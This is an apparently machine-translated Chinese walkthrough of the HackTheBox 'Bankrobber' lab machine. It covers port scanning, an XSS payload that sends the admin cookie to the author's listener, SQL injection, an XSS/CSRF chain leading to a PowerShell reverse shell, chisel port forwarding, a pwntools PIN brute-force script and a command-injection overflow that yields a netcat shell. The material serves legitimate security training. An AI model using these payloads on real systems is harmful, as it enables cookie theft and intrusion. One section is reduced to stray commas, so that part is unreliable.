砍箱子。演练的银行劫匪。XSS,SQL注入,CSRF,端口转发

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案我希望这将至少帮助某人在信息安全领域发展。在本文中,我们将通过XSS窃取站点管理员的cookie,使用SQL注入查找代码,使用XSS和CSRF通过命令执行表单获取外壳,从Windows戳端口,并使用pwntools扭转易汇款应用程序的PIN。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与知道信息安全领域知识的人进入专用网络:)

组织信息
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.154,我将其添加到/ etc / hosts。

10.10.10.154	bankrobber.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。

nmap -A bankrobber.htb -p80,443,445,3306

图片

主机具有Web服务器和SMB,并且还提供MySQL。 SMB和MySQL没有提供任何帮助,因此请查看网络。

图片

提供了可以在此处注册的比特币网站。

图片

让我们注册并登录。我们提供了一张转帐表格。

图片

完成一个简单的测试请求后,我们会收到一条消息。它说,管理员将考虑我们的交易请求并做出决定。

图片

这是XSS的很大提示。让我们尝试窃取管理cookie。首先,部署本地HTTP服务器。

图片

现在,我们执行事务请求,并指定以下JS加载作为消息。
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

因此,尝试上传图片时,脚本将转到该地址,并且作为参数将向我们发送执行脚本的帐户的cookie(在这种情况下为管理员)。

图片

看起来像base64。我们解码并获取管理员登录名和密码。

图片

以管理员身份登录,查看对我们有什么新变化。通过在用户的搜索字段中发送报价,我们得到一个错误-有注入。

图片

另一台服务器要求dir命令。

图片

但是只有本地主机答案。

图片

让我们回到SQL注入。

图片

我们确定列数以及显示的列数。

图片

因此,显示第一和第二列。

用户


坐了一会后,我们发现没有什么有趣的。让我们继续进行backdoorchecker模块。查找响应按钮单击的事件。

图片

转到浏览器控制台,然后输入函数的名称。

图片

我们点击该功能的链接。

图片

我们找到了请求的去向。多亏了注入,我们可以读取文件(我第一次猜到了默认的xampp路径)。

图片

因此,如果该行中存在子字符串“ dir”,则将执行该命令。这使我们可以发送命令链。它仍然要处理一个,请求应该来自本地主机。我们回想起XSS和callSys()函数,可以调用它们发送请求。检查我们的假设。

图片

由于命令已完成,因此使用包中的Invoke-PowerShellTcp脚本执行RCE。湘江

图片


首先,我们进行系统的基本枚举。为此,我们使用winPEAS

图片

从所有输出中,我们紧紧抓住在localhost 910上打开的端口。

图片

让我们看看上面有什么。首先,您需要扔掉港口。在所有程序中,最方便的解决方案是凿子在本地主机和远程主机上运行。

图片

图片

现在连接,看看那里有什么。

图片

必须输入4位PIN码。我们将解决它。
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


图片

我们找到PIN码,并要求输入交易金额。我们这样做,没有任何反应。

图片

金额将转移到以管理员身份运行的程序。一无所有,我们总共传送了100个字符的字符串。

图片

图片

我们将看到程序启动行已更改为我们行的一部分。让我们检查一下发生在哪个索引上。

图片

因此,如果我们传递带有另一个程序名称的行,它将被执行。让我们检查。

图片

图片

图片

这个假设是正确的。要开始使用,请下载netcat。

图片

现在让我们进行背面连接。

图片

图片

获得系统特权。

您可以通过电报加入我们让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全问题上互相帮助。

All Articles